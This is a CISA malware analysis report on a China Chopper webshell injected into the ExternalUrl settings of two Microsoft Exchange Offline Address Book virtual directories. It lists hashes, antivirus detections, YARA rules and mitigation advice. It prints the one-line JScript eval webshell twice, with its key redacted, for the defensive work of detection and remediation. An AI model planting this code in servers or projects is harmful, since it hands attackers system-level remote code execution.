Malware Analysis Report (AR21-072B)

MAR-10328923-1.v1: China Chopper Webshell

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Summary

Description

CISA received two files for analysis. These files appear to contain configuration data for two different Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a single Microsoft Exchange Server. Both output files show malicious modifications for the ExternalUrl parameters for these two OAB VDs on the targeted Exchange Servers. In one of the OAB VDs, the ExternalUrl parameter contains a "China Chopper" webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10328923-1.v1.stix.

Submitted Files (2)

1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee (discover.aspx)

c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5 (RedirSuiteServerProxy.aspx)

Findings

c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5

Tags

backdoortrojanwebshell

Details
Name RedirSuiteServerProxy.aspx
Size 2349 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 ab3963337cf24dc2ade6406f11901e1f
SHA1 9a29c483b38a7ae645c6c43a0b543f9def8818cc
SHA256 c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5
SHA512 e37cd29532106a7f5ae4c248429190541d1b8403ec7df40616a8c6a0d0d4f98ac8a520277f18df3654f00eed4faa05d787adff5f498f5684117775cc49e22baf
ssdeep 48:k/U0rd3W1BN46nIPQZLhPYFuQ14ONF0qy2q:kFd3WZvdYFPPNCqy2q
Entropy 4.607268
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
BitDefender Generic.ASP.WebShell.H.5643D70B
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.5643D70B (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.5643D70B
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Webshellz"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in Internet Information Services (IIS) on Microsoft Exchange servers. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

--Begin Code--
hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>
--End Code--

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee

Tags

backdoortrojanwebshell

Details
Name discover.aspx
Size 2230 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 ca7df873422d59c358397d3cb44ae6aa
SHA1 f95be23d52cbaa24bde99cf33a9be55bca688972
SHA256 1e0803ffc283dd04279bf3351b92614325e643564ed5b4004985eb0486bf44ee
SHA512 9e696ad26291e391cb29aff1845f78f0024f4808b10aa17cf7192f6f144378ea43b5533e3e0669cc19b07d88e00f4be39a95fa5500559573177b59585b7dad30
ssdeep 48:kNrdelW1BDc0oM5QZLhPYFzQ14ONF0q6q:ktdelWfXWYF0PNCq6q
Entropy 4.657248
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
BitDefender Generic.ASP.WebShell.H.29944B27
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.29944B27 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.29944B27
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Webshellz"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10328929"
           Date = "2021-03-17"
           Last_Modified = "20210317_2200"
           Actor = "n/a"
           Category = "Trojan WebShell Exploit CVE-2021-27065"
           Family = "HAFNIUM"
           Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
           MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
           SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file from a legitimate Set-OABVirtualDirectory cmdlet. This file is typically used to edit an OAB VD in IIS on Microsoft Exchange Servers. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a "China Chopper" webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the VD from outside the firewall has been replaced with the following code:

---Begin Code---
hxxp[:]//f/<script language="JScript" runat="server">function Page_Load(){eval(Request["[REDACTED]"],"unsafe");}</script>
---End Code---

Note: The hard-coded key used for authentication was redacted from the code above.

This code allows an attacker to access the shell using a password. Once accessed, the attacker is able to execute commands on the page with server (system) level privileges.

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
  • Monitor users' web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

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March 25, 2021: New YARA rule added

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